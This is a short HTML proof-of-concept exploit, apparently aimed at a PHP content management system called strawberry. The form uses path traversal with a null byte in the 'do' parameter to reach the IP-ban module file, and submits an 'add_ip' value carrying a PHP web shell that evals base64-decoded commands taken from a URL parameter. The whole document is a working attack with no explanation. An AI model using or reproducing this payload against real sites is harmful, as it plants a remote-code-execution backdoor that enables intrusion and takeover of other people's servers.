<form method="post" action="http://localhost/strawberry/example/index.php?do=../../../../../inc/mod/ipban.mdu%00">
<input type="text" name="add_ip" value="<h1><?php eval(base64_decode($_GET[cmd]));?></h1>">
<input type="hidden" name="action" value="add">
<input type="hidden" name="mod" value="ipban">
<input type="submit" value="First time">
</form>